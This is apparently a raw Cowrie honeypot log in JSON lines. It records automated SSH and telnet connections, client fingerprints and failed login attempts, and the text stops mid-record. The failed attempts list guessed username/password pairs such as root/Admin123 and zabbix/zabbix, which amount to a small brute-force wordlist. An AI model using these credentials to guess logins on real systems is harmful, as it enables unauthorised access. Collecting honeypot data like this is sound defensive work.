{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:21.947650Z","src_ip":"160.191.244.158","session":"8dc9e1fc8d6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guadeloupe","password":"123456","message":"login attempt [guadeloupe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:22.926428Z","src_ip":"160.191.244.158","session":"8dc9e1fc8d6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:24.162811Z","src_ip":"160.191.244.158","session":"8dc9e1fc8d6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.171.46.137","src_port":45924,"dst_ip":"159.203.135.109","dst_port":23,"session":"42a284f352f8","protocol":"telnet","message":"New connection: 20.171.46.137:45924 (159.203.135.109:23) [session: 42a284f352f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:24.260056Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":39706,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac3a347297dc","protocol":"ssh","message":"New connection: 103.122.221.179:39706 (10.17.0.5:22) [session: ac3a347297dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:26.903236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:26.907124Z","src_ip":"103.122.221.179","session":"ac3a347297dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50636,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cb9ff1213cb","protocol":"ssh","message":"New connection: 141.11.88.14:50636 (10.17.0.5:22) [session: 2cb9ff1213cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:27.038043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:27.059199Z","src_ip":"141.11.88.14","session":"2cb9ff1213cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:27.157981Z","src_ip":"103.122.221.179","session":"ac3a347297dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:27.167358Z","src_ip":"141.11.88.14","session":"2cb9ff1213cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backend","password":"backend","message":"login attempt [backend/backend] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:27.486051Z","src_ip":"141.11.88.14","session":"2cb9ff1213cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"auburn","message":"login attempt [root/auburn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:27.922558Z","src_ip":"103.122.221.179","session":"ac3a347297dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":42294,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d28251093ab","protocol":"ssh","message":"New connection: 41.86.34.139:42294 (10.17.0.5:22) [session: 5d28251093ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:28.343931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:28.347911Z","src_ip":"41.86.34.139","session":"5d28251093ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:28.555070Z","src_ip":"41.86.34.139","session":"5d28251093ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:28.578211Z","src_ip":"141.11.88.14","session":"2cb9ff1213cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:29.176002Z","src_ip":"103.122.221.179","session":"ac3a347297dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huahua","message":"login attempt [root/huahua] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:29.420463Z","src_ip":"41.86.34.139","session":"5d28251093ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:30.633121Z","src_ip":"41.86.34.139","session":"5d28251093ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30210,"dst_ip":"10.17.0.5","dst_port":22,"session":"1209deeb782c","protocol":"ssh","message":"New connection: 141.11.88.14:30210 (10.17.0.5:22) [session: 1209deeb782c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:34.142101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:34.155548Z","src_ip":"141.11.88.14","session":"1209deeb782c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:34.237211Z","src_ip":"141.11.88.14","session":"1209deeb782c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:37.312570Z","src_ip":"141.11.88.14","session":"1209deeb782c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:38.400545Z","src_ip":"141.11.88.14","session":"1209deeb782c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27530,"dst_ip":"10.17.0.5","dst_port":22,"session":"9abf56e666b7","protocol":"ssh","message":"New connection: 141.11.88.14:27530 (10.17.0.5:22) [session: 9abf56e666b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:41.031049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:41.150067Z","src_ip":"141.11.88.14","session":"9abf56e666b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:41.152947Z","src_ip":"141.11.88.14","session":"9abf56e666b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afk","password":"afk","message":"login attempt [afk/afk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:41.788853Z","src_ip":"141.11.88.14","session":"9abf56e666b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:43.050095Z","src_ip":"141.11.88.14","session":"9abf56e666b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63080,"dst_ip":"10.17.0.5","dst_port":22,"session":"197dddd2c082","protocol":"ssh","message":"New connection: 141.11.88.14:63080 (10.17.0.5:22) [session: 197dddd2c082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:49.519057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:49.541408Z","src_ip":"141.11.88.14","session":"197dddd2c082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:49.637569Z","src_ip":"141.11.88.14","session":"197dddd2c082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"star","message":"login attempt [root/star] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:50.007678Z","src_ip":"141.11.88.14","session":"197dddd2c082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:51.144134Z","src_ip":"141.11.88.14","session":"197dddd2c082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.84670066833496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:55.106664Z","src_ip":"20.171.46.137","session":"42a284f352f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63124,"dst_ip":"10.17.0.5","dst_port":22,"session":"52c136f38238","protocol":"ssh","message":"New connection: 141.11.88.14:63124 (10.17.0.5:22) [session: 52c136f38238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:56.232257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:56.299260Z","src_ip":"141.11.88.14","session":"52c136f38238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:56.380336Z","src_ip":"141.11.88.14","session":"52c136f38238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:57.068128Z","src_ip":"141.11.88.14","session":"52c136f38238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:39:58.343246Z","src_ip":"141.11.88.14","session":"52c136f38238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":25210,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c5e59942cfc","protocol":"ssh","message":"New connection: 141.11.88.14:25210 (10.17.0.5:22) [session: 6c5e59942cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:02.993943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:03.107115Z","src_ip":"141.11.88.14","session":"6c5e59942cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecds